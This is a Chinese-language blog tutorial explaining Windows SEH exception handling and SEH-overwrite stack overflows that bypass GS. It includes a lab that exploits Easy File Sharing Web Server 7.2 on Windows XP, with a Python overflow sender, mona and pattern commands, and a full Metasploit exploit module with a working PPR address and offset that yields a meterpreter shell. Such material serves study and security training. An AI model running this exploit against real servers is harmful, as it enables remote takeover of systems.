转载自个人博客0pt1mus

0x00 简介

本文主要有两个部分。第一部分介绍windows异常处理机制中的SEH,详细介绍SEH的工作原理。第二部分介绍如何通过栈溢出实现利用SEH来绕过GS。

0x01 SEH(异常处理结构体)

SEH的全称是Structure Exception Handler,翻译为异常处理结构体,它是Windows异常处理机制所采用的的重要数据结构。每个SEH结构体包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共八个字节。如下图:

对SEH的初步理解,我们要了解一下几点:

  1. S.E.H结构体存放在系统栈中。
  2. 当线程初始化时,会自动向栈中安装一个S.E.H,作为线程默认的异常处理。
  3. 如果程序源代码中使用了__try{}__except{}或者Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理。
  4. 栈中一般会同时存在多个S.E.H。
  5. 栈中的多个S.E.H通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端的S.E.H通过T.E.B(线程环境块)0字节偏移处的指针标识,FS寄存器指向TEB的位置。
  6. 当异常发生时,操作系统会中断程序,并首先从T.E.B的0字节偏移处取出距离栈顶最近的S.E.H,使用异常处理函数句柄所指向的代码来处理异常。
  7. 当离“事故现场”最近的异常处理函数运行失败时,将顺着S.E.H链表依次尝试其他的异常处理函数。
  8. 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

大概了解SEH的工作原理后,发现以下问题:

  1. S.E.H存放在栈内,故溢出缓冲区的数据有可能淹没S.E.H。
  2. 精心制造的溢出数据可以把S.E.H中异常处理函数的入口地址更改为shellcode的起始地址。
  3. 溢出后错误的栈帧或堆块数据往往会触发异常。
  4. 当Windows开始处理溢出后的异常时,会错误地把shellcode当做异常处理函数而执行。

这样,就可以绕过GS这种栈的保护机制,不通过一出道返回地址,而是溢出修改SEH结构的异常处理函数的句柄,从而实现攻击。

注:异常处理机制和堆分配机制一样,会检测进程是否处于调试状态。异常处理在使用回调函数之前,系统会判断当前是否处于调试状态,如果处于调试状态,将把异常交给调试器处理。

0x02 详解SEH工作中的栈空间

上面我们简单介绍了Windows在处理异常时的工作流程,但是我们如果要利用SEH来达到攻击的目的,则还需要知道在异常处理的时候的栈空间的状态。

在程序运行过程中,当触发了异常,程序尝试处理异常的时候,首先系统会执行异常的回调函数。


EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,void * EstablisherFrame,struct _CONTEXT *ContextRecord,void * DispatcherContext);

并在栈中压入一个EXCEPTION_DISPOSITION Handler结构,如下图。

这个时候,esp指向栈顶位置就是这个结构体。这个结构体中包含这从TEB中得到的第一个SEH结构体的位置。这个时候,通过Establisher Frame找到第一个SEH结构体的位置,执行异常处理函数。

注:这一块栈空间的变化可以参考逆向与破解-windows异常处理机制

0x03 利用SEH

我们知道了SEH的工作原理和执行时的栈空间的变化,接下来我们学习如何利用栈溢出,达到利用SEH进行攻击的方法。

基本步骤:

  1. 首先要得到溢出点到SEH结构体的偏移量。
  2. 然后要得到shellcode的起始位置。
  3. 触发异常。

以上步骤是最基本的,在真实的环境中我们还需要考虑其他因素。比如,在第二步中,理论上我们将SEH的后4个字节修改成shellcode的起始地址就可以了,但是如果开启了地址随机化,我们的shellcode的地址就无法准确的找到。所以一般是找未开启SafeSEH保护的pop/pop/ret的代码段,通过这个代码段跳转到shellcode中。为什么要利用PPR代码段,看下面。

0x04 为什么需要PPR来利用SEH

我们分析上面那张栈空间的图可以发现,当触发异常时,此时的esp指向的是EXCEPTION_DISPOSITION Handler,当执行异常处理函数,PPR时,esp向高地址移动8个字节,指向了Establisher Frame,存着第一个SEH的地址,因此执行ret会将eip指向SEH,此时如果SEH的前两个字节为EB06,则会执行jmp指令,向下跳转6个字节,如果下面是一堆nop跟着shellcode,则会顺利滑进shellcode,成功执行。

0x05 实践

实验环境:windows xp、kali

实验软件:Easy File Sharing Web Server 7.2、Immunity Debugger

实验步骤:

  1. 首先先生成一段用于溢出的字符串。

    这里用到的工具是kali下msf自带的一个生成脚本pattern_create.rb。

    msf-pattern_create -l 10000 > 1.txt
    
  2. xp上打开Easy File Sharing Web Server 7.2,并启动服务。用Immunity Debugger调试器attach到EFSWS的进程上,并点击run,使程勋运行中。

  3. 通过脚本将字符串发给xp的80端口。

    import socket
    import syshost = str(sys.argv[1])
    port = int(sys.argv[2])a = socket.socket()print "Connecting to: " + host + ":" + str(port)
    a.connect((host,port))# 这里是上一步生成的1.txt文件的内容
    buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2..."a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")a.close()print "Done..."
    
  4. 打开Immunity Debugger的SEH chain,可发现如下图所示。

    这里面显示的当前的SEH的handler为0x46356646,指向的下一个SEH的地址为0x34664633。因此,我们溢出字符串覆盖的SEH结构体的值为0x3466463346356646。

  5. 查找0x34664633在溢出字符串中的偏移量。这里为什么是前4个字节,因为pattern_offset工具找的是四个字节在pattern中的偏移位置,所以我们只需要知道SEH结构体的前四个字节中的值对应的偏移。

    msf-pattern_offset -q 34664633
    

    执行后,获得偏移量。

  6. 通过Immunity Debugger的mona插件,寻找该程序中可以利用的dll模块。

    !mona modules
    

  1. 找到其中未开启SafeSEH的可利用模块,这里选择第一个ImageLoad.dll,并通过msfbinscan找其中的PPR。

  1. 写exp,并将脚本放入msf的exploit的目录下,以让msf能够找到攻击脚本。

    require 'msf/core'
    class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::Tcpinclude Msf::Exploit::Sehdef initialize(info = {})super(update_info(info,'Name'            => 'Easy File Sharing HTTP Server 7.2 SEH Overflow','Description'     => %q{This Module Demonstrate SEH based overflow example},'Author'          => 'yanhan','Payload'         =>{'Space'       => 390,'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"},'Platform'      => 'Windows','Targets'       =>[['Easy File Sharing 7.2 HTTP',{'Ret'       => 0x100188fc,'Offset'    => 4061}]],'DisclosureDate'  => '2019-01-16',))enddef exploitconnectweapon = "HEAD "weapon << make_nops(target['Offset'])weapon << generate_seh_record(target['Ret'])weapon << make_nops(20)weapon << payload.encodedweapon << " HTTP/1.0\r\n\r\n"sock.put(weapon)handlerdisconnectend
    end

    在脚本中Ret值是我们找到的PPR的地址,Offset是我们找到的溢出点。

  2. msf中运行攻击脚本获得目标xp的meterpreter。

参考自杨老师SEH异常处理机制的栈溢出攻击及shell提取。

0x06 总结

成功之后,思考通过mona找到了很多的dll,其中也有别的没有开SafeSEH,是不是也可以加以利用。实践发现在系统dll文件msasn1.dll中的0x76218422也有PPR可以利用。

攻击windows异常处理机制SEH相关推荐

  1. 逆向与破解-windows异常处理机制

    以前看到过的很棒的一个讲解SEH的,非常的详细和简单易懂,不需要特别纠结具体的结构和处理的方法,初期对过程有一定的掌握就可以.以下为原文 深入解析结构化异常处理(SEH) - by Matt Piet ...

  2. [网络安全自学篇] 五十四.Windows系统安全之基于SEH异常处理机制的栈溢出攻击及防御解析

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了XP和Kali环境搭建,通过Windows漏洞实现栈溢出攻击,通过Me ...

  3. Windows异常世界历险记(五)——VC6中结构化异常处理机制的反汇编分析(下)

    在本系列的上一篇文章Windows异常世界历险记(四)--VC6中结构化异常处理机制的反汇编分析(中)中,给出了针对VC6的异常处理机制进行逆向后得到的伪码.在本文中,我们仍然以之前写的小程序为例,通 ...

  4. Windows内存保护机制及绕过方法

    0 目录 GS编译 SafeSEH机制 SEH覆盖保护 数据执行保护(DEP) 地址随机化(ASLR) 1 GS编译 1.1 基本原理 Windows操作系统为解决栈溢出漏洞的问题引入了一个对策--G ...

  5. C++及Windows异常处理(try,catch; __try,__finally; __try, __except)——一道笔试题引起的探究

    题目: int* p = 0x00000000; // pointer to NULL puts( "hello "); __try{ puts( "in try &qu ...

  6. C++ 异常处理机制的实现

    http://blog.jobbole.com/103925/ 本文深入讨论了VC++编译器异常处理的实现机制.附件源代码包含了一个VC++的异常处理库. 下载源代码 – 19 Kb 介绍 相对于传统 ...

  7. windows 异常处理

    为了程序的健壮性,windows 中提供了异常处理机制,称为结构化异常,异常一般分为硬件异常和软件异常,硬件异常一般是指在执行机器指令时发生的异常,比如试图向一个拥有只读保护的页面写入内容,或者是硬件 ...

  8. 深入理解java异常处理机制

    1. 引子 try-catch-finally恐怕是大家再熟悉不过的语句了,而且感觉用起来也是很简单,逻辑上似乎也是很容易理解.不过,我亲自体验的"教训"告诉我,这个东西可不是想象 ...

  9. java 异常机制_深入理解Java异常处理机制

    一.引子 try-catch-finally恐怕是大家再熟悉不过的语句了,而且感觉用起来也是很简单,逻辑上似乎也是很容易理解.不过,我亲自体验的"教训"告诉我,这个东西可不是想象中 ...

最新文章

  1. 电网电压波形是否失真?
  2. 使用 Mashups4JSF 生成和消费 Mashup Feed
  3. Ios开发之定位CLLocationManager
  4. 【协议】3、HTTP 协议入门
  5. win7_32下编译FFmpeg
  6. js 中{},[]中括号,大括号使用详解
  7. kindlefire刷安卓系统_[原创]安卓4.0完美运行 Kindle Fire刷机教程
  8. GEE学习笔记03(空间类型数据)
  9. 并查集-A Bug's Life(poj2492)
  10. PTA7-4 考试周
  11. 分析无线遥控器信号并制作Hack硬件进行攻击
  12. openGL画五角星
  13. 防蓝光膜能减小手机对眼睛的伤害吗?
  14. HBase2.4.8详细教程(一)HBase环境搭建
  15. seq2seq到attention到transformer理解
  16. 电机专用MCU芯片LCM32F037系列内容介绍
  17. “晓白”学python-科普篇(2)-人们都用python做什么?
  18. 小熊派移植华为 LiteOS-M(基于MDK)
  19. 水浸变送器水浸传感器的原理是什么?
  20. 【网络工程师配置篇】——OSPF基础配置!

热门文章

  1. 湖南科技学院计算机专业分数线,2017湖南科技学院录取分数线高考投档分
  2. 智能公交站牌远程通信系统解决方案,公车信息一目了然
  3. 微信小程序|系统配送员如何登陆抢单?同城配送、预约服务
  4. 《精通Android 5 多媒体开发》——第1章,第1.1节智能手机系统介绍
  5. python快速下载_Python:快速下载多个文件
  6. JD-获得店铺的所有商品
  7. html文件记事本打开乱码,打开记事本出现乱码怎么解决
  8. 最佳iOS设备管理器imazing 2.16.9官网Mac/Windows下载电脑版怎么下载安装
  9. Linux 上功能强大的网络工具 tcpdump 详解
  10. Android MVP框架MVPro的使用和源码分析